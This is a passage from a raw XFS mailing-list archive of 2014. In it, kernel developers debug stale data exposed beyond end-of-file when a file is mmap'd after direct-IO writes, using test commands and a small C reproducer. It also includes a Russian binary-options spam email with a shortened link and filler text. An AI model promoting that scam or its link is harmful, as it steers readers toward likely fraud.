else). From italos@aruba.it Sun Mar 16 18:11:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FREEMAIL_FROM, HTML_FONT_LOW_CONTRAST,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 23B427F53 for ; Sun, 16 Mar 2014 18:11:09 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 17A818F8033 for ; Sun, 16 Mar 2014 16:11:05 -0700 (PDT) X-ASG-Debug-ID: 1395011461-04cb6c56775ea7c0001-NocioJ Received: from smtpfree-g.aruba.it (smtpfree-g.aruba.it [62.149.128.214]) by cuda.sgi.com with ESMTP id Jx88kyTMsgvsARRy for ; Sun, 16 Mar 2014 16:11:02 -0700 (PDT) X-Barracuda-Envelope-From: italos@aruba.it X-Barracuda-Apparent-Source-IP: 62.149.128.214 Received: from tcfha ([114.42.191.56]) by mxcm01.ad.aruba.it with bizsmtp id ePAv1n0091DTeyy01PAyPq; Mon, 17 Mar 2014 00:11:01 +0100 Message-ID: <41B839F907E547CA904455F805BFB978@zhtb> From: "Woodrow Wariner" To: "xfs" Subject: =?windows-1251?B?eGZzQG9zcy5zZ2kuY29tLCDs7v8g7OXy7uTo?= =?windows-1251?B?6mEg52HwYeHu8uphIOIg6O3y5fDt5fLlIOTu?= =?windows-1251?B?IDUwMCAkIOIg5OXt/CEhLCDj1tr8ysflxsrT?= Date: Mon, 17 Mar 2014 06:14:28 +0600 X-ASG-Orig-Subj: =?windows-1251?B?eGZzQG9zcy5zZ2kuY29tLCDs7v8g7OXy7uTo?= =?windows-1251?B?6mEg52HwYeHu8uphIOIg6O3y5fDt5fLlIOTu?= =?windows-1251?B?IDUwMCAkIOIg5OXt/CEhLCDj1tr8ysflxsrT?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_1E82_01CF41A8.26F9CCD0" X-Priority: 3 X-Barracuda-Connect: smtpfree-g.aruba.it[62.149.128.214] X-Barracuda-Start-Time: 1395011461 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.25 X-Barracuda-Spam-Status: No, SCORE=2.25 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_INVIS_TEXT_1K, BSF_SC0_TG035a, BSF_SC0_TG163d, BSF_SC3_MV0165, HTML_FONT_LOW_CONTRAST, HTML_MESSAGE, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3970 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 BSF_SC3_MV0165 Custom rule MV0165 0.54 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar to background 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.00 BSF_SC0_TG035a Message contains invalid style definition 0.00 BSF_SC0_INVIS_TEXT_1K Custom Rule BSF_SC0_INVIS_TEXT_1K 0.50 BSF_SC0_TG163d Custom Rule TG163d This is a multi-part message in MIME format. ------=_NextPart_000_1E82_01CF41A8.26F9CCD0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =E7=E0=F0=E0=E1=EE=F2=E0=F2=FC =ED=E0 =E1=E8=ED=E0=F0=ED=FB=F5 =EE=EF=F6=E8= =EE=ED=E0=F5 =D3=E7=ED=E0=F2=FC =EF=EE=E4=F0=EE=E1=ED=EE=F1=F2=E8... http://goo.gl/Ezmoey=20 =DF =EF=F0=E5=E4=F1=F2=E0=E2=E8=EB=E0 =EA=EE=F0=EE=EB=E5=E2=E8=F7=E0 =E8 = =F1=EE=E2=E5=F2=ED=E8=EA=E0 =E1=E5=E7 =E2=E5=F0=F5=ED=E5=E9 =F7=E0=F1=F2=E8= =EE=F0=E3=E0=ED=E8=E7=EC=E0 =E8 =EF=F0=E8=F8=EB=E0 =EA =E2=FB=E2=EE=E4=F3= , =F7=F2=EE =F1 =E3=EE=EB=EE=E2=E0=EC=E8 =EE=ED=E8 =E2=FB=E3=EB=FF=E4=FF=F2= =E1=EE=EB=E5=E5 =F1=E8=EC=EF=E0=F2=E8=F7=ED=EE. =CF=EE=EA=E0 =EC=EE=EB=F7= =E0=F2, =EF=EE =EA=F0=E0=E9=ED=E5=E9 =EC=E5=F0=E5.=20 =CD=F3 =EB=E0=E4=ED=EE, =ED=E5 =F5=EE=F7=E5=F2 =E8 =ED=E5 =ED=E0=E4=EE. =C1= =FB=EB=EE =E1=FB =EF=F0=E5=E4=EB=EE=E6=E5=ED=EE. =C2=EE=F2 =EF=F3=F1=F2=FC= =E8 =F0=E0=F1=EF=EB=E0=F7=E8=E2=E0=E5=F2=F1=FF =E7=E0 =F1=E2=EE=E5 =E1=EB= =E0=E3=EE=F0=EE=E4=F1=F2=E2=EE, =E5=F1=EB=E8 =E5=EC=F3 =F2=E0=EA =F5=EE=F7= =E5=F2=F1=FF.=20 =DF =EF=F0=FB=F1=ED=F3=EB=E0.=20 - =D7=F3=E2=F1=F2=E2=EE =FE=EC=EE=F0=E0 =F3 =ED=E5=E5 =E4=E5=E9=F1=F2=E2=E8= =F2=E5=EB=FC=ED=EE =EE=F0=E8=E3=E8=ED=E0=EB=FC=ED=EE=E5, - =ED=E5 =F1=F2=E0= =EB =EE=F2=EF=E8=F0=E0=F2=FC=F1=FF =CA=E0=F9=E5=E9. - =C7=E0 =EE=E4=ED=F3= =EC=E5=F2=EB=F3 =E5=E5 =F3=E2=E0=E6=E0=F2=FC =F1=F2=EE=E8=F2. =CD=E5 =E2= =F1=FF=EA=E8=E9 =F1=EF=F0=E0=E2=E8=F2=F1=FF.=20 - =C5=E9 =EF=EB=EE=F5=EE, - =E2=E7=E2=EE=EB=ED=EE=E2=E0=ED=ED=EE =EE=F2=E2= =E5=F2=E8=EB=E0 =C2=E0=F1=E8=EB=E8=F1=E0. - =CD=E0=E9=E4=E8=F2=E5, =EF=EE= =E6=E0=EB=F3=E9=F1=F2=E0, =EC=E0=E3=E8=F1=F2=F0=E0 =C2=E5=EB=E8=EC=E8=F0=E0= .=20 - =C6=E0=EB=FC.=20 =DF =EE=F1=F2=EE=F0=EE=E6=ED=EE =EF=F0=E8=EF=EE=E4=ED=FF=EB=E0=F1=FC, =EC= =EE=F0=F9=E0=F1=FC =EE=F2 =E1=EE=EB=E8 =E2 =E3=F0=F3=E4=E8, =ED=EE =F1=EB= =E0=E1=FB=E5 =F0=F3=EA=E8 =ED=E5 =F5=EE=F2=E5=EB=E8 =EC=E5=ED=FF =EF=EE=E4= =E4=E5=F0=E6=E8=E2=E0=F2=FC. =CA=E0=EA=EE=E5 =EF=F0=E5=E4=E0=F2=E5=EB=FC=F1= =F2=E2=EE =F1 =E8=F5 =F1=F2=EE=F0=EE=ED=FB! =DF =F1 =ED=E8=EC=E8 =F2=E0=EA= =EA=EE=E2=E0=F0=ED=EE =ED=E8=EA=EE=E3=E4=E0 =ED=E5 =EF=EE=F1=F2=F3=EF=E0= =EB=E0! =CF=F0=E8=F8=EB=EE=F1=FC =EE=EF=F3=F1=F2=E8=F2=FC=F1=FF =EE=E1=F0= =E0=F2=ED=EE. =C8 =E2=EE=E2=F0=E5=EC=FF. =C7=E0 =E4=E2=E5=F0=FC=FE =EF=EE= =F1=EB=FB=F8=E0=EB=E8=F1=FC =EE=F1=F2=EE=F0=EE=E6=ED=FB=E5 =F8=E0=E3=E8. = =DF =E7=E0=EA=F0=FB=EB=E0 =E3=EB=E0=E7=E0 =E8 =EF=F0=E8=F2=E2=EE=F0=E8=EB= =E0=F1=FC =F1=EF=FF=F9=E5=E9.=20 - =C4=EE =E3=F0=E0=ED=E8=F6=FB =EE=F1=F2=E0=EB=EE=F1=FC =E2=F1=E5=E3=EE =ED= =E8=F7=E5=E3=EE, - =F0=E0=E7=E3=EB=FF=E4=FB=E2=E0=FF =E3=EE=F0=F3, =F1=EA= =E0=E7=E0=EB =C0=EB=E5=EA=F1=E0=ED=E4=F0. - =CA =E2=E5=F7=E5=F0=F3 =EC=FB= =E1=F3=E4=E5=EC =ED=E0 =EC=E5=F1=F2=E5. =C5=F1=EB=E8 =E1=FB =E2=FB =ED=E5= =E4=E0=E2=E0=EB=E8 =EC=ED=E5 =F1=EF=E0=F2=FC, =EC=FB =E1=FB =F3=E6=E5 =EF= =EE=F7=F2=E8 =E1=FB=EB=E8 =F2=E0=EC.=20 - =C8 =ED=E0=EC =F2=E5=EF=E5=F0=FC =F2=EE=E6=E5, - =ED=E5 =F3=E4=E5=F0=E6= =E0=EB=F1=FF =C2=E8=EA=F2=EE=F0 =EE=F2 =E5=E4=EA=EE=E3=EE =E7=E0=EC=E5=F7= =E0=ED=E8=FF, =F3=E2=E5=F0=F2=FB=E2=E0=FF=F1=FC =EE=F2 =E1=F0=EE=F8=E5=ED= =ED=EE=E9 =E2 =ED=E5=E3=EE =EF=EE=E4=F3=F8=EA=E8 =E8 =F1=EA=F0=FB=E2=E0=FF= =F1=FC =E7=E0 =E4=E2=E5=F0=FC=FE.=20 =D1=EE=E2=E5=F2=ED=E8=EA=E0 =FD=F2=EE =F3=E1=E5=E4=E8=EB=EE =E5=F9=E5 =EC= =E5=ED=FC=F8=E5. ------=_NextPart_000_1E82_01CF41A8.26F9CCD0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=E7=E0=F0=E0=E1=EE=F2=E0=F2= =FC =ED=E0 =E1=E8=ED=E0=F0=ED=FB=F5 =EE=EF=F6=E8=EE=ED=E0=F5
=D3=E7=ED=E0=F2=FC =EF=EE=E4=F0=EE=E1=ED=EE= =F1=F2=E8...
 
 
=DF =EF=F0=E5=E4=F1=F2=E0= =E2=E8=EB=E0 =EA=EE=F0=EE=EB=E5=E2=E8=F7=E0 =E8 =F1=EE=E2=E5=F2=ED=E8=EA=E0= =E1=E5=E7 =E2=E5=F0=F5=ED=E5=E9 =F7=E0=F1=F2=E8 =EE=F0=E3=E0=ED=E8=E7=EC= =E0 =E8 =EF=F0=E8=F8=EB=E0 =EA =E2=FB=E2=EE=E4=F3, =F7=F2=EE =F1 =E3=EE=EB= =EE=E2=E0=EC=E8 =EE=ED=E8 =E2=FB=E3=EB=FF=E4=FF=F2 =E1=EE=EB=E5=E5 =F1=E8= =EC=EF=E0=F2=E8=F7=ED=EE. =CF=EE=EA=E0 =EC=EE=EB=F7=E0=F2, =EF=EE =EA=F0=E0= =E9=ED=E5=E9 =EC=E5=F0=E5.=20
=CD=F3 =EB=E0=E4=ED=EE, = =ED=E5 =F5=EE=F7=E5=F2 =E8 =ED=E5 =ED=E0=E4=EE. =C1=FB=EB=EE =E1=FB =EF=F0= =E5=E4=EB=EE=E6=E5=ED=EE. =C2=EE=F2 =EF=F3=F1=F2=FC =E8 =F0=E0=F1=EF=EB=E0= =F7=E8=E2=E0=E5=F2=F1=FF =E7=E0 =F1=E2=EE=E5 =E1=EB=E0=E3=EE=F0=EE=E4=F1=F2= =E2=EE, =E5=F1=EB=E8 =E5=EC=F3 =F2=E0=EA =F5=EE=F7=E5=F2=F1=FF.=20
=DF =EF=F0=FB=F1=ED=F3=EB= =E0.=20
- =D7=F3=E2=F1=F2=E2=EE = =FE=EC=EE=F0=E0 =F3 =ED=E5=E5 =E4=E5=E9=F1=F2=E2=E8=F2=E5=EB=FC=ED=EE =EE= =F0=E8=E3=E8=ED=E0=EB=FC=ED=EE=E5, - =ED=E5 =F1=F2=E0=EB =EE=F2=EF=E8=F0=E0= =F2=FC=F1=FF =CA=E0=F9=E5=E9. - =C7=E0 =EE=E4=ED=F3 =EC=E5=F2=EB=F3 =E5=E5= =F3=E2=E0=E6=E0=F2=FC =F1=F2=EE=E8=F2. =CD=E5 =E2=F1=FF=EA=E8=E9 =F1=EF=F0= =E0=E2=E8=F2=F1=FF.=20
- =C5=E9 =EF=EB=EE=F5=EE= , - =E2=E7=E2=EE=EB=ED=EE=E2=E0=ED=ED=EE =EE=F2=E2=E5=F2=E8=EB=E0 =C2=E0=F1= =E8=EB=E8=F1=E0. - =CD=E0=E9=E4=E8=F2=E5, =EF=EE=E6=E0=EB=F3=E9=F1=F2=E0,= =EC=E0=E3=E8=F1=F2=F0=E0 =C2=E5=EB=E8=EC=E8=F0=E0.=20
- =C6=E0=EB=FC.=20
=DF =EE=F1=F2=EE=F0=EE=E6= =ED=EE =EF=F0=E8=EF=EE=E4=ED=FF=EB=E0=F1=FC, =EC=EE=F0=F9=E0=F1=FC =EE=F2= =E1=EE=EB=E8 =E2 =E3=F0=F3=E4=E8, =ED=EE =F1=EB=E0=E1=FB=E5 =F0=F3=EA=E8= =ED=E5 =F5=EE=F2=E5=EB=E8 =EC=E5=ED=FF =EF=EE=E4=E4=E5=F0=E6=E8=E2=E0=F2= =FC. =CA=E0=EA=EE=E5 =EF=F0=E5=E4=E0=F2=E5=EB=FC=F1=F2=E2=EE =F1 =E8=F5 =F1= =F2=EE=F0=EE=ED=FB! =DF =F1 =ED=E8=EC=E8 =F2=E0=EA =EA=EE=E2=E0=F0=ED=EE = =ED=E8=EA=EE=E3=E4=E0 =ED=E5 =EF=EE=F1=F2=F3=EF=E0=EB=E0! =CF=F0=E8=F8=EB= =EE=F1=FC =EE=EF=F3=F1=F2=E8=F2=FC=F1=FF =EE=E1=F0=E0=F2=ED=EE. =C8 =E2=EE= =E2=F0=E5=EC=FF. =C7=E0 =E4=E2=E5=F0=FC=FE =EF=EE=F1=EB=FB=F8=E0=EB=E8=F1= =FC =EE=F1=F2=EE=F0=EE=E6=ED=FB=E5 =F8=E0=E3=E8. =DF =E7=E0=EA=F0=FB=EB=E0= =E3=EB=E0=E7=E0 =E8 =EF=F0=E8=F2=E2=EE=F0=E8=EB=E0=F1=FC =F1=EF=FF=F9=E5= =E9.=20
- =C4=EE =E3=F0=E0=ED=E8= =F6=FB =EE=F1=F2=E0=EB=EE=F1=FC =E2=F1=E5=E3=EE =ED=E8=F7=E5=E3=EE, - =F0= =E0=E7=E3=EB=FF=E4=FB=E2=E0=FF =E3=EE=F0=F3, =F1=EA=E0=E7=E0=EB =C0=EB=E5= =EA=F1=E0=ED=E4=F0. - =CA =E2=E5=F7=E5=F0=F3 =EC=FB =E1=F3=E4=E5=EC =ED=E0= =EC=E5=F1=F2=E5. =C5=F1=EB=E8 =E1=FB =E2=FB =ED=E5 =E4=E0=E2=E0=EB=E8 =EC= =ED=E5 =F1=EF=E0=F2=FC, =EC=FB =E1=FB =F3=E6=E5 =EF=EE=F7=F2=E8 =E1=FB=EB= =E8 =F2=E0=EC.=20
- =C8 =ED=E0=EC =F2=E5=EF= =E5=F0=FC =F2=EE=E6=E5, - =ED=E5 =F3=E4=E5=F0=E6=E0=EB=F1=FF =C2=E8=EA=F2= =EE=F0 =EE=F2 =E5=E4=EA=EE=E3=EE =E7=E0=EC=E5=F7=E0=ED=E8=FF, =F3=E2=E5=F0= =F2=FB=E2=E0=FF=F1=FC =EE=F2 =E1=F0=EE=F8=E5=ED=ED=EE=E9 =E2 =ED=E5=E3=EE= =EF=EE=E4=F3=F8=EA=E8 =E8 =F1=EA=F0=FB=E2=E0=FF=F1=FC =E7=E0 =E4=E2=E5=F0= =FC=FE.=20
=D1=EE=E2=E5=F2=ED=E8=EA= =E0 =FD=F2=EE =F3=E1=E5=E4=E8=EB=EE =E5=F9=E5 =EC=E5=ED=FC=F8=E5.=20
=D2=E0=EA! =DD=F2=EE =F3=E6=E5 =EF=E5=F0=E5=E1=EE=F0.
------=_NextPart_000_1E82_01CF41A8.26F9CCD0-- From david@fromorbit.com Sun Mar 16 19:11:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1B9E67F57 for ; Sun, 16 Mar 2014 19:11:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 92F13AC002 for ; Sun, 16 Mar 2014 17:11:50 -0700 (PDT) X-ASG-Debug-ID: 1395015103-04cb6c56765ecd90001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id pwErjPRnQXAsD289 for ; Sun, 16 Mar 2014 17:11:44 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlVTAOo8JlN5LMWSPGdsb2JhbABZgwaDRoUMtGmFWoEVFwMBAQEBODWCJQEBAQMBOhwjBQsIAxgJJQ8FJQMHGhOHcQfSQRcWjlIHgySBFASYRZQfgVIp Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail05.adl6.internode.on.net with ESMTP; 17 Mar 2014 10:41:34 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WPL9O-0002D6-KI; Mon, 17 Mar 2014 11:11:30 +1100 Date: Mon, 17 Mar 2014 11:11:30 +1100 From: Dave Chinner To: Al Viro Cc: Brian Foster , linux-fsdevel@vger.kernel.org, Dave Chinner , xfs@oss.sgi.com Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140317001130.GA7072@dastard> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140315210216.GP18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1395015103 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3972 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Mar 15, 2014 at 09:02:16PM +0000, Al Viro wrote: > Regression in xfstests generic/263 is quite real - what happens is > that e.g. > ltp/fsx -F -H -N 10000 -o 128000 -l 500000 -r 4096 -t 512 -w 512 -Z /mnt/junk > where /mnt is on xfs ends up with a very odd file. mmap() of its last > page has garbage in the page tail when observed on *any* kernel. Yes, we've known about this since 2011. Right - that's a long standing problem, and one I've never been able to isolate and so reproduce with any luck. It can only be reproduced when you use mmap and direct IO on the same file, and every time I've added debug to find out where the tail block corruption was being introduced, the data corruption goes away. It behaves just like a race condition.... > > Copying > that file (with cp -a) yields a copy that doesn't trigger that behaviour. > What's more, xfs_repair doesn't notice anything fishy with that sucker. xfs_repair does detect data corruption - it does not care what is in the data blocks and it shouldn't need to care because the kernel code should never, ever expose stale data beyond EOF.... > This had been introduced (or, more likely, exposed) by the commit in > question. As far as I can see, it's an on-disk corruption of some sort; > it *might* be triggered by some kind of dio-related race, but I would be > rather surprised if that had been the case - fsx is single-threaded, > after all, and making it fsync() *and* mmap/msync/munmap after each write > still produces such a file. The file contents per se is fine, it's the > page tail on mmap() that is bogus. Right..... > Filesystem image after that crap is on ftp.linux.org.uk/pub/people/viro/img.bz2; > with that image mounted on /mnt we have > ; ls -l /mnt/junk > -rw-r--r-- 1 root root 444928 Mar 15 16:26 /mnt/junk > ; echo $((0x6ca00)) > 444928 > ; cat >foo.c <<'EOF' > #include > #include > main(int argc, char **argv) > { > int fd = open(argv[1], 0); > char *p = (char *)mmap(0, 0xa00, PROT_READ, MAP_SHARED, fd, (off_t)0x6c000); > if (p != (char *)-1) > write(1, p + 0xa00, 4096 - 0xa00); > } ... you're reading data beyond EOF from a page faulted page that spans EOF. That page is filled by mpage_readpages(), not XFS. And mpage_readpages() does not zero the region beyond EOF which means if there is some issue where a filesystem doesn't zero a tail block properly it will expose stale data to userspace.... > EOF > ; gcc foo.c > ; ./a.out /mnt/junk | od -c > Right, but the file is already bad, so this tells us nothing as to how the problem arose in the first place. Indeed, create the partial tail block with truncate: $ rm /mnt/test/foo $ xfs_io -f -c "truncate 0x6ca00" /mnt/test/foo $ sudo umount /mnt/test $ sudo mount /dev/vdb /mnt/test $ ls -l /mnt/test/foo -rw------- 1 root root 444928 Mar 17 09:45 /mnt/test/foo $ ./mmap-eof-test /mnt/test/foo |od -c 0000000 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 * 0003000 $ With buffered IO: $ rm /mnt/test/foo $ xfs_io -f -c "pwrite 0x6c9ff 1" -c fsync /mnt/test/foo wrote 1/1 bytes at offset 444927 1.000000 bytes, 1 ops; 0.0000 sec (75.120 KiB/sec and 76923.0769 ops/sec) $ sudo umount /mnt/test $ sudo mount /dev/vdb /mnt/test $ ls -l /mnt/test/foo -rw------- 1 root root 444928 Mar 17 10:23 /mnt/test/foo $ ./mmap-eof-test /mnt/test/foo |od -c 0000000 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 * 0003000 Or with direct IO: $ rm /mnt/test/foo $ xfs_io -fd -c "pwrite 0x6c800 0x200" /mnt/test/foo wrote 512/512 bytes at offset 444416 512.000000 bytes, 1 ops; 0.0000 sec (410.509 KiB/sec and 821.0181 ops/sec) $ sudo umount /mnt/test $ sudo mount /dev/vdb /mnt/test $ ls -l /mnt/test/foo -rw------- 1 root root 444928 Mar 17 10:25 /mnt/test/foo $ ./mmap-eof-test /mnt/test/foo |od -c write returned 1536/0 0000000 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 * 0003000 And you don't see a failure from your test program because the partial tail block is correctly zeroed on disk. So there's something else going on here - the write paths XFS do zero the tail of the block on disk, and so mmap should not *ever* exposing stale data. AFAICT, the only way we can get garbage beyond EOF is to have application mmap() map the page covering EOF, write beyond EOF, then have it written back. However, we actually handle that case in xfs_vm_writepage() by calling zero_user_segment() on the range of the page beyond EOF. So we can't get garbage written beyond EOF that way, either. So I've got no real idea of how we are getting garbage on disk, what role DIO plays in it, or even how to reproduce it reliably in a manner that doesn't result in instrumentation causing the data corruption to magically disappearing... > ; cp -a /mnt/junk /mnt/junk1 > ; ./a.out /mnt/junk1 | od -c > 0000000 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 > * > 0003000 cp is showing the correct data because the __block_write_begin() path zeroes the bytes beyond EOF in the tail page - it doesn't copy them from the source.... > And that's essentially what makes generic/263 complain. Yup, but it is merely the messenger.... > I've found the thread from last June where you've mentioned generic/263 > regression; AFAICS, Dave's comments there had been wrong... generic/263 has failed since it was first split out of generic/091 in commit 0d69e10ed15b01397e8c6fd7833fa3c2970ec024 back in 2011. We discovered this problem by accident when we busted fsx option parsing and it ran the wrong options resulting in a mmap+dio being run. We fixed that up and added the workload to generic/091 (commit c00bad1c4c348e45d00982d06fc40522fb8cb035), then split it to a separate test to isolate the failure case and leave generic/091 as a reliable regression test. Cheers, Dave. -- Dave Chinner david@fromorbit.com From viro@ftp.linux.org.uk Sun Mar 16 19:29:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 29F9B7F5D for ; Sun, 16 Mar 2014 19:29:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0DC4D304039 for ; Sun, 16 Mar 2014 17:29:24 -0700 (PDT) X-ASG-Debug-ID: 1395016162-04cb6c56775ed930001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id YqQ8T0F6tvCWbiQR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 16 Mar 2014 17:29:23 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WPLQc-0001H8-Gs; Mon, 17 Mar 2014 00:29:18 +0000 Date: Mon, 17 Mar 2014 00:29:18 +0000 From: Al Viro To: Dave Chinner Cc: Brian Foster , linux-fsdevel@vger.kernel.org, Dave Chinner , xfs@oss.sgi.com Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140317002918.GT18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> <20140317001130.GA7072@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140317001130.GA7072@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1395016162 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3973 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 17, 2014 at 11:11:30AM +1100, Dave Chinner wrote: > Yes, we've known about this since 2011. Right - that's a long > standing problem, and one I've never been able to isolate and so > reproduce with any luck. It can only be reproduced when you use mmap > and direct IO on the same file, and every time I've added debug to > find out where the tail block corruption was being introduced, the > data corruption goes away. It behaves just like a race condition.... See downthread. And I would be *very* surprised if it was a race - don't forget the msync() done before that write(). I think I know what's going on - O_DIRECT write starting a bit before EOF on a file with the last extent that can be grown. It fills a buffer_head with b_size extending quite a bit past the EOF; the blocks are really allocated. What causes the problem is that we have the flags set for the *first* block. IOW, buffer_new(bh) is false - the first block has already been allocated. And for direct-io.c it means "no zeroing the tail of the last block". From wandaeller571@gmail.com Sun Mar 16 19:46:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AACAD7F61 for ; Sun, 16 Mar 2014 19:46:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1668EAC003 for ; Sun, 16 Mar 2014 17:46:13 -0700 (PDT) X-ASG-Debug-ID: 1395017170-04cb6c56755ee620001-NocioJ Received: from mail-wi0-f195.google.com (mail-wi0-f195.google.com [209.85.212.195]) by cuda.sgi.com with ESMTP id BUf3IDNvYMECg3k7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Mar 2014 17:46:11 -0700 (PDT) X-Barracuda-Envelope-From: wandaeller571@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.195 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.195] Received: by mail-wi0-f195.google.com with SMTP id hn9so657980wib.10 for ; Sun, 16 Mar 2014 17:46:10 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.195] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.195] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=g+wHZYSt20a3bLKvfgtDsNcogbEkiSFDyunpDyW62mA=; b=XzgGwVZRx8qQYxcCZiyW6wYmLaPTa3vvBUG7C3/TxeRAj5n8zHjvR4GioPmUTqFY00 35vsyR3eNaezoN9bRza1NSuV/zwmSOyPRYm5wg764DJ3xbCA02lDTOMpLLacawEDLSBa M0ohlYV9f6Tx2XzDkSXhYudmk2f7lxTyVVU1rQ+3v9YoPPwE9fo3fhgYOK6/3XvbpD9y 